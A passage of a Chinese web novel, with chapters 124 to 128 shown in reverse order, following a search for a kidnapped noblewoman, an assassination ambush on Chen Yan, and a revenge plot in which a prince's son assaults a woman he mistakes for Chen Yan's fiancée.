“回什么?”萧序把横刀抛给随从,抱起双臂,“没听见我阿姐的姐姐出事了吗?我当然要为阿姐排忧解难。进城,去陈府。” 随从大惊失色:“公子,这万万不可啊!” 你追着那陈三郎杀了半天,这还追到人家家里去了? 这不是自投罗网,自讨苦吃,自己找死? 萧序冷笑一声:“呵,他倒是敢……诶?” 他脚步一顿:“你说如果今日情形颠倒过来,阿姐会不会护着我?” 随从想说,未必。 那姑娘看起来就和您不是很熟的样子。 但他又不是活腻歪了,当然知道主子想听什么,立刻点头,铿锵有力地说:“必然会的。” 萧序果然又开心了。 “不就是装可怜么?”他大步往外走,“谁不会似的。” 那头,陈宴离开山谷后,披上护卫递来的外袍,将墨发重新用发带绑紧。 虽不是平时那种一丝不苟的装扮,但也掩去了身上的狼狈。 叶绯霜说:“你还真注重仪容。” “天色亮了,进城时会遇到很多百姓。我若狼狈不堪,他们会不安,以为颍川城有大事发生了。” 叶绯霜想想也是。 她带领陈宴和陈府护卫绕过那条被挡住的路,出了山。 在路上遇见了带着大批人马前来的锦风。锦风见陈宴没有受伤,长舒了一口气。 陈宴扫了一眼锦风身后的人,说:“太兴师动众了。” 锦风道:“老太爷派来的人。” 陈宴叹了口气:“还是惊动祖父了。” 片刻,他问叶绯霜:“他为何唤你阿姐?” “因为我和他阿姐长得像。” “那他为何杀我?” 叶绯霜匪夷所思地看着他:“你都被追杀好几次了,你不知道原因?还问我?” 陈宴很无辜地看着她:“我当真不知。” “你自己干过的事情你忘了?” “我百思不得其解。”陈宴说,“请五姑娘指点迷津。” “你把人家真阿姐杀了,害得人家悲伤过度神智失常,只能来认我这个假阿姐了。” 陈宴蹙起眉头,也觉得匪夷所思:“我从未杀过人。” 叶绯霜面无表情:“你杀过。” 前世他亲口和她说的,还是亲手杀的,她可没忘。 陈宴说:“我真没有。” 好吧,杀人毕竟不是什么光彩的事情,人家不承认她也没法。 她囫囵道:“反正人家姑娘是因你而死的。若非有此血海深仇,人家何必屡次来要你性命?” 陈宴仔细想了想,说:“我只能想起一个女子,她原是我院子里的丫鬟,因为偷盗被赶了出去,后来投井自尽了。这算因我而死吗?” “丫鬟?不对吧。” 萧序明显是个公子哥啊,他阿姐怎么会是丫鬟呢? “真的没有了。” 叶绯霜:“那就没有吧。” 她不再多问,反正和她没关系,况且他也不会承认。 试问谁会明目张胆地说“我杀过人”呢? 哦,除了前世的陈宴。 进了城,马就不能跑了,所以速度慢了下来。 前边不知道出了什么事,围了一大群人,把路给堵得水泄不通。 锦风拦住一位大娘问:“大娘,前边怎么了?” 大娘咧着嘴,“啧啧”了两声:“真是天大的丑事啊!不是说那荥阳郑氏的五姑娘昨晚丢了吗?合着人家在花楼里和汉子偷情呢!不知道咋回事,让人光着身子扔街上啦!哎呦呦,你们是没见那个样子啊……” 锦风:“!” 陈宴:“?” 叶绯霜:“……” 第128章 救了他 叶绯霜纵马疾驰。 前方忽然传来“咚”的一声巨响,山体震颤,树木摇晃,山壁上的土石哗啦啦掉了下来。 她的爱美被吓到了,不安地嘶鸣起来,竟不敢再往前了。 叶绯霜拍了拍它的头:“我们去找小白,你最喜欢的漂亮小白。” 爱美这下也不爱美了,管它小白小黑,反正它不去了。 幸好叶绯霜从小就和马打交道,知道怎么驾驭这类东西,捋捋鬃毛拍拍马头,爱美很快就被她哄好了,继续撒蹄往前奔。 然而奔着奔着,叶绯霜发现,过不去了。 刚才的巨响震断了山壁上的一株百年巨木,这棵树斜斜倒下来,混着震落的石土,把这条山间小径挡得严严实实。 所以刚才那声巨响,应该是黑火药的爆裂声。 就是为了挡住援兵的路。 对方想要困死陈宴。 —— 今天派出来的护卫都是陈宴的人,个个都是高手。 但是架不住敌人太多了。 和潮水一样,一批接着一批,还越来越强。 陈府护卫逐渐有些力不从心。 但没有一个人怯战,他们的使命就是保护主子,至死方休。 地上倒下的人越来越多,有对方的人,也有陈宴的人。 陈宴昨晚出来得急,只随便披了件外袍,长发也只是用一根发带随便挽着,现在衣污鬓乱,难得地有了几分狼狈。 他面色苍白,唇上也没有什么血色,更衬得那双眼睛漆黑如墨,眼神犀利锋锐。 他剑势狠辣,没有任何花架子,招招都是取人性命的杀招。 要是让旁人看见,怕是没人相信这会是那个靠才气扬名的陈三郎。 凛冽的杀意自身后而来,陈宴反身躲避,同时长剑割向对方颈侧,逼得对方收了势,得以躲开这致命一击。 看清对方的脸后,陈宴说:“果然是你。” 他方才就觉得今日的形势不对,原来有两批人。 一批,是庇阳山刺杀璐王父子的那伙。 一批,是那个曾两次想取他性命的人派来的。 萧序懒得和陈宴废话,唇角扬起一个轻蔑又不屑的弧度,再次横刀向陈宴砍来。 经过前两次交手,陈宴就知道了这个少年身手十分了得。 刚才射出的那支流星箭,想必就是他打下来的。 他二人的剑势与刀风还都是干脆、狠戾、绝不拖泥带水的那种,一时间刀光剑影,锋刃铮鸣。 若是平时,陈宴可以和他缠斗更久。 但他本来就伤病未愈,两夜未曾阖眼,再加上刚才的一番打斗消耗了太多体力,让他落了下风。 病体难支,眼前黑了一下。 就这一瞬,在这种时刻足以致命。 他的剑被挑飞,锋利的刀尖朝着他心口刺来。 濒死的这一瞬间变得很慢,足以陈宴看清这个少年眼中的杀机与憎恶,还有他唇角那抹因为大仇即将得报而勾起的快意笑容。 陈宴也看清了这把横刀的样子——刀身狭长笔直,通体漆黑,宛如墨玉雕成。 刺向他的刀尖上,勾勒着一片红枫。 陈宴恍惚了一下,觉得有点眼熟,好像很久以前,他就见过这个图案。 这个少年是谁?为何要杀他? 他没有查到原因,以后怕是也没有探究的机会了。 他并不怕死,也做不出求饶偷生的事。 刀尖没入心口的那一刻,他连眼睛都没眨一下。 “叮”的一声鸣响,枪尖刀身相撞,仿佛溅起了火花。 叶绯霜转腕发力,长枪挑开横刀,将萧序逼退了数步。 萧序的眼中刹那间弥漫上更浓重的杀意,但在看清来人是谁后,那些杀意顷刻间弥散得干干净净,转为显而易见的欢喜。 他立刻收了刀,开开心心地叫了声:“阿姐!” 他上下打量了一遍叶绯霜,见她安然无恙,松了口气:“阿姐,我刚才都没认出你来。幸好没伤到你,不然我饶不了他们。” 他口中的“他们”自然指的就是他手底下的杀手。 “阿姐,你去一边等我。”萧序说,“等我取了他狗命,我再去找你说话。” 叶绯霜说:“今天不行。” 要不是帮她找郑茜静,陈宴和他的护卫们此时不会在这里,也就不会让萧序有下手的机会。 萧序要为他阿姐报仇,这是他和陈宴之间的恩怨,她没法掺和,也不会掺和。 但不能是在今天。 萧序的笑容淡了几分,但依然笑着:“为何不行?杀人难道还要挑时候?” “你非要在今天也可以。”叶绯霜说,“只要你过了我这关。” 晨风吹来,彻底吹散了萧序脸上的最后一抹笑纹:“阿姐,你在开什么玩笑,我怎么可能对你动手。” “那你就另外挑个时间再来复仇,我……” “绝对不会再管”几个字还没说出口,就被萧序打断了。 “你护着他?”萧序像是受了什么刺激一样,神情骤然变得狠戾,“阿姐,你还护着他?” “他前年救过我一命,我不想欠他的。” “他会害死你的!阿姐,他真的会害死你的!你让我杀了他,好不好?我求你了。” 萧序的眼眶因为想起了什么极度痛苦的事情而变得通红,他声调骤然拔高,不是愤怒,而是哀求。 “阿姐,你让我杀了他,不然你会死的。我不能让你死……” 叶绯霜想,萧序一定又想到了他真正的阿姐,想到了陈宴杀死他阿姐的那一幕,所以他才会这么痛苦。 也不知道为什么,看他这么痛苦,叶绯霜也有些难过。 陈宴有多难杀她是知道的,现在这个时刻,是萧序可以为他阿姐报仇的最好时机了。 错过了,不知道下次是什么时候。 但是。 “对不住,萧序。”叶绯霜还是那句话,“今天,不行。” 山间的晨风清寒而凛冽,吹在人脸上,有种砭肤的痛。 双方的人不知道什么时候止了战,周遭安静下来,死寂和血腥味一起蔓延。 陈宴靠在石壁上,四肢百骸都是体力透支后的虚软。他眼黑耳鸣,却还是强撑着,努力看清挡在自己身前的这个纤细的身影。 他以为她走了。 他没想过她会回来。 百般滋味郁结于心头。陈晏想,过去这将近两年的时间不是没有改变。 血气上涌,陈宴控制不住,咳了起来,鲜血顺着唇角溢出,他抬袖抹去。 叶绯霜回身望过来,看见了他苍白的脸,嘴角的殷红。 她重新看向萧序,说:“要么和我打一场,打败我后杀了他。要么放他走。” 萧序久久地望着她,眼神晦暗复杂,像是纠葛了万千情绪。 而后,他又笑了起来。 “他这条狗命,我改日再取便是了,哪里值得我和你动手?” 他抬手一挥,让围起来的人散开,说:“让姓陈的滚。但是阿姐,你跟我走,好不好?” 第127章 不扔下 叶绯霜一行人进山时是让那几名匪徒带的路,而谢珩为了赶时间走的另外一条路,所以双方错过了。 一直搜寻到清晨,还没有找到郑茜静的下落。 月影料定自家姑娘被别的匪徒劫走了,肯定凶多吉少了。 叶绯霜虽然没说,但她也觉得这种可能性很大,心一点点地沉了下去。 陈宴安慰她说:“找不到,其实也算好消息。” 叶绯霜想,是,找不到总比找到一具尸体要好。 前世,她和郑茜静没多熟悉,是后来某天忽然想起还有这么个二姐姐,问了陈宴,才得知她早就嫁人了。 之后她的身体有没有好起来、活了多少岁,叶绯霜就一概不知了。 反正,绝对不会死在刚满十八岁的时候。 叶绯霜越想越难过,二姐姐是被自己连累了。 她自责愧悔得厉害,眼眶发酸,眼泪不受控制地往外流。 “要是二姐姐……我会为她报仇的。”叶绯霜咬牙切齿,“不对,即便二姐姐平平安安地被找回来,我也要和那些人好好算这笔账。” 福泰,秋姨娘……这五房才刚回来,就给她来了这么一出,好样的。 叶绯霜握紧了拳头,指甲掐进掌心里都浑然不觉。 还是陈宴发现,掰开她的手,揉了揉她掌心那些月牙形状的掐痕。 “好。”他说,“好好和她们算账。” 叶绯霜说:“我会杀人。” 陈宴望着她紧绷的脸颊,通红的眼眶,还有眼底的决绝与恨意。 他说:“那就杀人。” 夜幕的墨色逐渐褪去,成为一种靛青。 晨雾开始弥漫,天快亮了。 忽然,一阵急促的马蹄声自北而来,骑马的人大喊:“找到了!找到了!” 叶绯霜的心口一阵酸麻,就像一直被紧紧攥着的心脏骤然被松开,血液瞬时间回笼。 那人打马至跟前,喜道:“找到姑娘了,现在就在咱们府里,府医正给她看病呢。” 叶绯霜很意外:“在陈府?” “是。” “怎么找到的?” “谢二公子把人带去的。” 叶绯霜堵在心头的那口气,这才彻底松了出来。 宛如劫后余生,身体一瞬间虚软,她往后踉跄了两步,陈宴立刻扶了她一把。 她的脸色很差,陈宴也没好到哪里去。 头天晚上,俩人就都一夜没睡。这个晚上,又折腾了一宿,还能有精神已经不错了。 陈宴掌心的热度透过衣袖传来,叶绯霜看向他:“你的烧还没退?” “没事。”陈宴说,“赶紧回吧。” 叶绯霜探了一下他的额头,有点烫,但幸好不厉害。 “其实今天你不用出来的。”叶绯霜说,“派人来就行了。” 陈宴笑了下:“回吧。” 一行人上马回城,叶绯霜担心郑茜静的身体,迫不及待想见到她,所以驭马如风。 陈宴骑着小白,跟上她当然不费力:“我们府医的医术不错,郑二姑娘会没事的。” 叶绯霜说:“现在已经是最好的情况了,我心满意足……小心!” 她立刻拽着陈宴俯下身去,几只利箭从上空飞过,钉入前方的松木中。 陈府亲卫立刻大喊起来:“有刺客!保护公子!” 陈宴的软剑就束在腰封中,此刻已经出手,寒光凛冽。 叶绯霜拿下挂在马侧的长枪,勒马急转。 月影骑的马中了箭,嘶鸣着倒下,月影被狠狠甩了下来。 叶绯霜的枪头在月影后腰一抵,为她卸了力,否则她这一摔定要残了。 她跳下马,把月影拽到一块巨石后边,提枪迎上了几名黑衣人。 过了几招,她就知道对方是谁了。 和前年中秋夜,在庇阳山伏击璐王父子的是同一伙人。 今时不同往日,那晚叶绯霜单枪匹马,尚且救了璐王父子的命,今日这里还这么多陈府亲卫。 况且,经过这段时间坚持不懈地练习,她的枪法精进了不少。 她一边捅穿了一个黑衣人的肚子,一边朝不远处大喊:“铜宝,过来!” 铜宝被一名陈府亲卫护着跑过来,很自觉地和月影一起缩到巨石后边,不给别人添乱。 叶绯霜本以为很快就能解决,但是打着打着,她发现不对劲了。 对方的人越来越多,而且越来越厉害。 看来,对方知道他们很能打,所以先用一些水平一般的杀手消耗他们的体力,再派更厉害的来取他们的性命。 陈宴也察觉到了不对劲。 他从马上的褡裢里拿出一支流星箭,射向空中。 叶绯霜知道这种特制的箭,里边装有火药,在空中爆裂后会有颜色和鸣啸,作传信之用。 可是这支箭还没升空爆裂,就被打了下来。 叶绯霜心头一紧,陈宴的箭术她是知道的,能把他的箭打下来的人,那真的是高手了。 陈宴蹙眉,抹了一个人的脖子后,朝叶绯霜靠来。 可他还没靠近,又有几支箭打向他,生生隔住了他的脚步。 陈宴明白了这些人是冲着他来的,给了叶绯霜一个眼神,又叫了锦风和其它几名亲卫的名字:“掩护!” 说罢,他自己跃入了旁边的山谷之中。 他在引开这些人,好让叶绯霜走。 叶绯霜也没有恋战,拎着月影和铜宝上马,招呼尚且存活的其它郑家仆从:“上马,跟我走!” 那几名被陈宴点名的亲卫不愿走,他们也看出来了,这伙人是冲着他们公子来的,他们想留下来保护公子。 但是陈宴的命令又不容违逆。 锦风咬了咬牙:“听令,走!” 一行人打马离开。 叶绯霜把自己马背上长大的功夫发挥到了极致,冲在最前边。如果再有暗箭,她能第一时间为后边的人挡住。 然而她这副样子落在陈府的几名亲卫眼里,就是在迫不及待地逃命了。 他们心里挺不是滋味的,锦风更是。 虽然这将近两年的时间下来,他已经对叶绯霜改观了许多了,但是她这副说抛下陈宴就抛下陈宴的模样,真让人觉得她的心是铁打的。 他敢保证,如果今天这群人是冲着叶绯霜来的,陈宴绝对不会扔下她自己走。 锦风想着想着就红了眼眶,死死咬着牙关。 他是真的替陈宴觉得不值,都不知道他这两年换来了什么。 她根本不配公子对她好。 她没有心的。 终于出了山口,前方就是官道了,一马平川,放眼望去,只有往来的客商、行人,没有可以埋伏的地方。 叶绯霜勒马吁止,转头说:“你们走吧,务必把郑家这些人安全送回去,拜托了。” 一名亲卫问:“那您呢?” “我回去啊。”叶绯霜说,“你们是为了帮我们找人才出来的,我肯定也要尽力,不能扔下你们的人不管。” 她扬了扬手中的长枪,朝他们笑道:“赶紧搬救兵来啊,快快快,别让我们等太久。” 说罢,不容劝告,她已经干脆地打马回去了。 第126章 不喜欢 衣衫不整、鬓发凌乱的傅湘语被扔到了花楼门口。 顿时聚集了一圈围观群众。 有人问这是谁,扔她出来的人笑嘻嘻地说:“郑五姑娘,咱们陈三郎的未婚妻啊。” 周遭的议论声顿时更大了,说什么的都有。 那些不堪入耳的话宛如一把把利刃,将傅湘语刮得鲜血淋漓、体无完肤。 傅湘语浑身颤抖,怨怼和愤恨在心中不断发酵、蔓延。 凭什么?那人想找的不是叶绯霜吗?又不是她,凭什么她要承受这些? “都闭嘴!”傅湘语捂着脸,朝周围的人大吼,“你们谁敢再乱说,我就让人割了你们的舌头!” 傅湘语恨恨地想,她受了这么大的罪,叶绯霜也别想独善其身。 她毁了,叶绯霜也要给她陪葬。 对,她现在就是叶绯霜,她现在是郑五姑娘。 流言要杀,杀的也是叶绯霜。 —— 谢珩在客栈里翻来覆去地睡不着。 外边实在太热闹了,吵得他心烦意乱。听客栈掌柜的说,花灯巡游通宵达旦,这热闹要持续一整晚呢。 谢珩受不了,直接打马出城了。 他找了棵看得顺眼的松树,利落地爬上去,倚着树干懒懒地躺下,欣赏圆圆的月亮。 同时琢磨着,在颍川玩几天之后,他就去荥阳。 主要还是想找到那位红衣姑娘,和她正儿八经比比箭。 谢珩向来敬佩厉害的人,尤其见到比自己厉害的,那是一定要和对方切磋的。 正想着,就听见一串由远及近的马蹄声。 这深更半夜的,这里又不是官道,怎么还有人? 紧接着,微弱的呼救声响起。 好家伙,这是让他碰着劫匪了。 谢二公子在边关长大,干的是保家卫国的磊落事,向来仗义,古道热肠。 他立刻从树上跳了下去,拿下挂在马鞍上的长枪,三两下就将对方几人打了个落花流水。 他还准备追上去抓住几人扭送官府,可麻袋里的姑娘忽然没动静了。 救人要紧,谢珩只能任由那几人跑了,把麻袋解开,放出里边的人。 这姑娘双目紧闭,脸色青白,已然没了生气。 谢珩用力晃了晃对方:“喂,醒醒!” 对方没动静。 谢珩俯身听了下心跳,好像也没了。 谢珩在军营里练兵时,也遇到过一些人突然晕倒没了心跳的状况,知道人这个时候其实还没死,运气好的话可以救回来。 谢珩也学习了那种救治方法,立刻把人放倒,开始按压对方的胸口。 谢珩是真刀真枪上过战场的,在他这儿没有什么比命更重要。 生死关头,男女大防什么的根本不存在。 所以掰开这女子的嘴往里边吹气的时候,他也没有什么心理负担,只想着把人救回来。 功夫不负有心人,他忙活出了一身的汗,总算把这女子从鬼门关拉了回来。 郑茜静缓缓睁开眼,胸口传来一阵剧痛,刺激得她差点又晕过去。 谢珩拍了拍她的脸:“喂,你还行不行?” 他手劲大,郑茜静觉得自己被连着扇了好几个耳光。 一股腥甜在喉间翻涌,郑茜静痛苦地皱起五官,忽然偏过头去,喷出一口血。 她被血呛到,咳嗽不停,每一下咳嗽都带动着胸口的震痛,让她发出干哑的嘶喘和痛苦的哀嚎。 惨白月色下,一身红装头发凌乱的女人在急喘嚎叫,着实有点把谢珩瘆着了。 “你……帮我……”郑茜静断断续续地开口,“香、囊……药……” 谢珩立刻解开郑茜静腰间的香囊,从里边拿出药丸。 药丸很大,郑茜静平时吃不觉得有什么。现在这情形,她着实咽不下去。 谢珩也看出了这是个被折腾得只剩一口气的病秧子,也不敢强行喂她,怕把她再噎死了。 他思忖一瞬,把那药丸咬碎成几小瓣,喂郑茜静吃。 紧要关头,两人一个想救人,一个想活命,谁也没想别的。 药丸吃完了,谢珩又面临了一个新的难题——接下来怎么办。 赶紧去医馆肯定是最好的选择,但医馆在城内,距离这里有几十里。 就这姑娘现在的状态,把她放马上,不出两步,她那口气就能给颠散了。 谢珩想了想,有了主意:“我背你回城,你还能坚持吗?” 郑茜静泪眼朦胧地点头。 可是她刚爬到谢珩背上,就叫得更痛苦了。 “又怎么了?”谢珩问。 “疼。” 郑茜静淌了满脸的泪,不知道是疼的,还是被死亡的恐惧给吓的。 “哪儿疼?” 郑茜静指了指胸口,又指了指肚子,意思就是整个都疼。 谢珩想着完蛋,她肋骨不会让自己压断了吧? 谢珩只得转背为抱。 郑茜静被他抱起来时,裙摆擦过树枝,“呲啦”一声撕下来一块儿布料。 谢珩倒是抱得挺轻松的,觉得她都没一袋粮食沉。 所以谢珩走得又快又稳。 郑茜静眼睛闭着,气息微弱,谢珩为了判断她是否还活着,只能和她不停说话:“你是哪家的姑娘?” 刚才给她压胸口的时候他就摸出来了,她的衣服是顶好的锦缎,不是一般人用得起的。 可能是药丸起作用了,郑茜静的气稍微足了一点点:“荥、阳,郑。” 谢珩扬起眉梢:“你是郑家的姑娘?那不是巧了吗?我兄弟陈宴,不就和你家五姑娘有关系?” 这话一出,谢珩看见这姑娘的眼睛亮了一点。 难道是因为听到了陈三的名号? 又一个陈三的爱慕者? 她嘴唇翕动,谢珩凑近一听,听见一声:“五妹妹。” “我昨天还见到你五妹妹了。”谢珩说,“你五妹妹不行啊,有点子矫揉造作,听说还玩欲擒故纵的把戏,挺有心机的。” 此话一出,只见这快断气的姑娘顿时和回光返照了似的,睁大了眼,很有劲儿地反驳他:“你,放屁!” 谢珩无语,这姑娘真是又小心眼又护犊子,不行就是不行嘛,还不让说了? “骂我?”谢珩垂眸一扫,“信不信我把你扔这儿不管你了?” “一码,归一码。” 她说话断断续续的,但谢珩就是能听明白她的意思—— 救人归救人,但不能说我妹妹。 “你对你妹妹还挺好。”谢珩想起了家中的姐妹,不由得乐了,“你行几?” 郑茜静又闭上眼:“二。” “呦,巧了,和我一样。”谢珩恍然,“你就是成国公府那病秧子啊?” 郑茜静没吭声。 虽然对方救了自己,但是她潜意识里不太喜欢这人。 感觉有点子粗鲁,还没礼貌。 更重要的是,竟敢说她五妹妹不好。 谢珩想,找媳妇千万不能找这样的,病歪歪的太吓人了。 他一直都喜欢那种身体倍儿好、可以舞刀弄枪的。 于是谢珩说:“喂,我今天做的事情,都是为了救你的命,你可不能趁机赖上我,让我负责啊!我不喜欢你这样的。” 郑茜静立刻睁开眼,喘了几口气:“你放心,我也不喜欢你这样的。哪怕你对我有救命之恩,我也不会对你以身相许。” 谢珩:“那最好不过了。本公子人见人爱,就怕你爱上本公子,非我不嫁。” 郑茜静在这人的缺点后边又加了一条——自大狂。 第125章 睡错人 后半夜,陈宴的人终于带回来个好消息。 抓到那几名匪徒了。 可是一并带回来的并没有郑茜静。 叶绯霜心跳如擂鼓,难道郑茜静真的出事了,被抛尸了? 陈宴见她面色煞白,安抚道:“你先别急,听听他们怎么说。” 被叫来对质的福泰骂道:“你们几个蠢货,抓错人了!我真要被你们害死了!说,你们抓走的姑娘在哪里?” 络腮胡大汉鼻青脸肿,也不知道是被谁打的,哭丧着脸道:“被……被劫走了!” 叶绯霜气道:“被二次劫走了?什么人劫走的?” “不知道啊,天儿太黑了,我们连对方的脸都没瞧见!” “对方有多少人?” “就一个。”络腮胡大汉悻悻地说。 原来,他们抓到郑茜静后,起了贪心,觉得和福泰要钱要少了。 于是他们想把人扣在手上,再和福泰谈谈,多讹点钱。 一位兄弟出主意:“这是位世家女,丢了以后郑家肯定会报官,官府就要找,说不定还要挨家挨户地搜呢!藏在城里不安全,不如咱们先把她带到山里去,找个山洞藏起来。” 络腮胡觉得言之有理,于是带着人质出了城。 那小娘们本来晕了,可是半路醒了过来,就开始嚷嚷救命,还真引来了人。 对方功夫很好,他们几个加起来都不是人家的对手。挨了一顿揍,人质还丢了。 要不是他们溜得快,估计都要死那人手下了。 人质丢了,这下彻底没法交差了。别说讹钱,剩下的尾款都不敢收了,他们决定跑路。 谁知半路被一行黑衣人给捉了回来。 叶绯霜想,不算最糟糕的情况,起码没说郑茜静死了被抛尸了。 她压着狂跳的心和不断翻涌的火气,对这几名大汉说:“带我们去人丢了的地方!” 这次有了方向,她不能再坐着干等了。 一群人星夜出城,进了山。 “就这里了。”络腮胡说。 就是一条平平无奇的山间小路。 今日月亮很圆,惨白的月光洒下来,照得嶙峋的山石和树木的虬枝宛如重重鬼影。 不用陈宴吩咐,锦风已经命令手底下的人以此地为中心,向四面八方去找了。 不知道劫走郑茜静那人是什么身份,是路见不平的侠客,还是心怀不轨的匪徒。 也就无法探知对方的想法,不知道对方会往哪里逃窜。 月影的泪都快流汗了,只不断祈求着,希望她家姑娘福大命大,遇到的是好人而不是歹徒。 很快,锦风拿过来一片布料:“在一根树枝上挂着,看样子是从衣服上勾下来的。” 他们周围燃着不少火把,所以亮如白昼,陈宴一眼就认了出来,这是他作为生辰礼送给叶绯霜的那匹月华锦。 毕竟他亲自挑了许久,才选出这匹布料,印象非常深刻。 大红色,海棠纹。 月影惊呼起来:“是了,就是我们姑娘的衣服!” 她看向叶绯霜:“五姑娘,就是你送我们姑娘的那条裙子啊,你认得吧?” 叶绯霜下意识看了陈宴一眼,陈宴也正沉默地看着她。 火光很亮,他的瞳色却很深,让人看不出到底是什么情绪。 “我记得。”叶绯霜问锦风,“从哪里找到的?” 锦风指了一个方向,叶绯霜立刻往那边去了。 他家公子却立在原地没动。 锦风忙问:“公子,你怎么了?是不是又不舒服了?” “没事。”陈宴摇了摇头,“其实我猜到了会是这样。” 锦风:“?” 猜到什么? 陈宴跟着走到那棵树旁,月影正跪在地上恸哭。 她面前那块地方,石子和泥土上分布着星星点点的深色,仔细一看,是暗红色。 是血。 而且看这个分布,不是流的血,是喷的血。 “肯定是我家姑娘吐的血,她,她……”月影哭得嗓音沙哑,“她以前受过惊吓,吐过一次血,差点就没救回来。那时候还是在国公府,有御医和名医。现在在这深山野岭里,她下落不明,怎么办……” 一听月影这话,在场许多人都暗自唏嘘,那郑二姑娘怕是真的凶多吉少了。 —— 宁浔又回到了花楼的房间里。 猩红的长绒地毯上,躺着他的“战利品”。 宁浔打量着傅湘语的五官。 然后很不满意地说:“实在一般,不是本公子喜欢的相貌。” 傅湘语当然不丑,鹅蛋脸,秀眉杏眼,琼鼻樱唇,是个清秀佳人。 但宁浔喜欢的是大美女,可以让他一眼惊艳的那种。 傅湘语这款,以前的他还有兴趣。但是现在的他万花丛中过,见太多了,腻了。 “但你是陈宴的未婚妻,冲着这重身份,本公子倒是可以勉强一睡。” 傅湘语刚醒来,就听到了这一句,宛如晴天霹雳。 胸前一凉,竟是衣衫已经被解开,宁浔的手探了进来! 她惶然瞪大眼,不停地摇头,无助的泪水从眼角流下,没入鬓发。 她想说话,但嘴巴被紧紧勒着,只能发出断断续续的“啊啊”声。 她哪里知道,宁浔干多了强抢民女的事,受够了那些女人的求饶哭喊,所以他手底下的人再把人抓来时,就会很识趣地把她们的嘴巴勒住。 宁浔一边解傅湘语的衣服,一边问:“陈宴碰过你没?” 傅湘语哭得厉害,用朦胧的泪眼祈求地望着对方,希望对方能放过自己。 “这么一看,倒是有几分意境了。泪美人,倒还不错。”宁浔邪笑着,“要怪就怪你那未婚夫,他抢本公子的人,本公子也上他的人,公平得很。” 傅湘语只觉得天塌了。 她想说,她不是郑五姑娘,不是陈宴的未婚妻,对方找错人了。 该承受这些的是叶绯霜,不是她。 可是她没法说话。 她怎么都想不到,只是冒认叶绯霜的身份去看看陈宴而已,竟会惹来这么大的祸端。 宁浔是个花丛老手,他精力足,花样也多。 况且一想这是陈宴的未婚妻,他正在给声名赫赫的陈三郎戴一顶绿帽子,他就血脉沸腾,激动不已,可以继续鏖战。 他兴致勃勃地从深夜玩到了天明。 傅湘语数度晕过去又醒来,最后彻底陷入昏迷。 宁浔玩够了,叫来内官,懒洋洋地说:“把她扔到街上去,让颍川的百姓们都欣赏欣赏,他们陈三公子的未婚妻是什么模样。” 第124章 绿帽子 叶绯霜推开了陈宴,自己用袖子用力抹了把脸。 她身体小,但心智不小,她可以自己消化情绪。 她需要陈宴帮忙找人,但不需要安慰。 叶绯霜说:“我可以自己去找二姐姐,不麻烦你陪我,只要有消息告诉我一声就好了。” “怎么告诉你?我去哪里找你?” 叶绯霜一噎,是啊,她要是到城外乱跑,第一时间收不到消息怎么办。 陈宴见她想明白了,又说:“在客栈里等消息吧,不要出去了。” 叶绯霜回了房间里,陈宴跟在她后边。 靳氏见到陈宴,十分惊讶。 得知陈宴根本不像外界传的那样病得快死了,靳氏松了口气,念了声菩萨保佑。 此时的郑丰还不知道郑茜静出事了。 他正在颍川最大的花楼里发火。 原因是,他让花楼的鸨母把楼中最漂亮的姑娘们叫过来伺候他,鸨母叫了几个过来,郑丰觉得不够漂亮,认为鸨母在糊弄他。 觉得鸨母是看不起自己,把自己当成了普通商人,郑丰骂道:“知道老爷我是谁吗?荥阳郑氏的五老爷!你就拿这种货色糊弄老爷?” 鸨母听他露了身份,只得说出实话,楼里最漂亮的几个姑娘正在伺候贵人。 郑丰气得胡子直跳:“什么贵人?老爷我就不是贵人了?” 鸨母说:“好像是哪位亲王的公子。” 一听这话,郑丰哑火了。 他没有他大哥和三哥在朝为官的气势,他是个商人,哪怕是郑家五老爷,平时见到官老爷们,也得陪笑脸送油水。 他对皇权很有敬畏之心。 郑丰只得捏着鼻子从剩下的姑娘里挑了几个还不错的作陪。 本来还想着从颍川带个十八姨娘回去呢,现在看来还是算了,真没劲。 相隔不远处,花楼最大最豪华的一间厢房里。 数只金狻猊口衔帐中香,丝丝缕缕的烟雾袅娜升腾,沉甸甸地弥漫在空气里。 薄如烟雾的鲛绡纱层层叠叠地垂落,隐约透露出纱帐后边那个斜倚在矮榻上的修长身影。 这是位年轻的公子,玉簪束发,质地轻盈的白袍迤逦在地,胸口衣袍敞开,白皙的皮肤上有几道酒水留下湿润的痕迹。 这人修长的手指晃着金盏,懒散又轻蔑地说:“一些庸脂俗粉,比不上赵芳菲一根头发。” 侍立在一旁的随从面白无须,语调阴柔,显然是位内官:“赵姑娘是咱们博陵第一美人,岂是人人可比的。” 此人便是被陈宴横剑夺美的晟王七公子,宁浔。 宁浔磨了磨牙:“本公子看上的人就没有得不到的,该死的陈宴,竟敢从本公子手上抢人!” 内官自小就跟在宁浔身边,深知他的霸王性子。 这次被陈宴夺爱,可以说是他人生中吃的最大的一次亏了,也难怪他咽不下这口气,身体一好就来颍川找陈宴算账了。 宁浔爱美色,而且他比郑丰嚣张多了。郑丰就是收点小妾,宁浔是真的夺过人妻,还不止一次。 不让他出了这口气,这事过不去。 宁浔忽然想到:“不是说郑家人也来颍川了?陈宴那未婚妻来没来?” 内官道:“来了。” 宁浔眯起眼,唇角斜斜往一边一勾,乐了。 内官看他这表情,哪里不知道他在打什么主意! 他这是盯上那郑五姑娘了! 他看上的赵芳菲被陈宴抢走了,宁浔视为莫大的耻辱。所以他要抢陈宴的未婚妻,以此来报复陈宴! “听说那郑五姑娘是乡下长大的,估计是个粗鄙货色。但既然是陈宴的未婚妻,本公子倒也勉强能忍了。” 内官冷汗都流了下来,这位爷和陈三公子的仇真是结下了,只怕以后会越来越深。 他也没法儿劝,因为这位爷根本不会听。 只盼着那郑五姑娘藏好点,别落在他家爷手里,那么事情还不会太糟。 —— 傅湘语正在街上,心不在焉地看着花灯。 她心里一直惦记着福泰那边,暗自祈祷福泰一定要得手。 哪怕不能杀了叶绯霜,也要让她失了名节,不能再嫁进陈家! 走着走着,忽然看到一群府衙的官兵急匆匆地往城外赶,稍微一打听就得知,好像是什么人丢了,正要去找呢! 旁边有百姓窃窃私语:“肯定是哪家的公子或者姑娘丢了,否则用不着这么大阵仗。” 傅湘语内心狂喜,料定是叶绯霜丢了。 她对身边不解的百姓们说:“是郑五姑娘丢了。” 相信用不了多久,这个消息就能传遍颍川城。 傅湘语悄悄回客栈看了一眼,没进去,就躲在远处,见几个郑家人进进出出,一副焦急的模样。 她更加确定了,福泰得手了! 太好了! 客栈离陈府不远,傅湘语立刻过去了。 天助她也,现在看门的小厮不是昨天她见到的那个,所以不认识她。 